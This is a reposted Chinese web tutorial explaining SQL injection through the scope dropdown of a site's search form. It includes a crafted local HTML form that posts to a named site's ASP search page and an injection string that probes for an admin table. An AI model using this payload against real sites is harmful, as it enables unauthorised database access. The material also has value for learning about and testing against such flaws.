网站地图    收藏   

主页 > 后端 > 网站安全 >

小议搜索匹配栏的注射 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 14:47 作者: 阅读:

[导读] 当我们在对一个url进行注入的时候,我们可能会尝试get,post,cookies方法。不成功了还可以利用搜索框注射,那么大家有没有注意到一些搜索框上面的匹配栏呢,利用匹配栏我们同样可以...

当我们在对一个url进行注入的时候,我们可能会尝试get,post,cookies方法。
不成功了还可以利用搜索框注射,那么大家有没有注意到一些搜索框上面的匹配栏呢,利用匹配栏我们同样可以进行注射!

一般搜索匹配栏的表单是这样的:
<form action="sb-team.asp" method="post" name=""> //action为数据提交地址 method为提交方式
搜索关键字:<input type="text" name="">    //input标签,搜索关键字 这里的内容为下面的keyword
范围: <select name="">                                //这里的内容为下面的select(选择)                      
                    <option value="">内容</option>
                    <option value="">标题</option>
           </select>
           <input type="submit" value="搜索">  //提交
</from>

那么他的查询语句猜想可能是:

select data from tables where select(选择) like "%keyword%"  order by id desc

我们对匹配栏进行注射,那么关键的语句就是:

where select(选择) like "%keyword%" order by id desc

了解以上之后我们可以自己本地构造一个html的提交页面:
<html>
<head>
<title>本地注射提交 by str1ven</title>
</head>
<form action="http://www.2cto.com /sb-team.asp" method="post" name="">
搜索关键字:<input type="text" name="">   
范围:        <input type="text" name="">   //这里将select变为text便于语句写入
                 <input type="submit" value="搜索">  //提交
</form>
</html>

之后我们在范围的栏写入注射语句:

exists (select count(*) from admin)>0 and sb

在搜索关键字栏填写sb 。

那么我就会构成语句:

where exists (select count(*) from admin)>0 and sb like %sb% (只要保持语句成立,sb可以换成别的)

因为sb肯定like sb 所以语句成立。

这样我们就通过匹配栏进行注射了。

文章只是提供一个思路,还请大家发散~~~~~~{:4_114:}

 

摘自:Str1ven's Blog

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论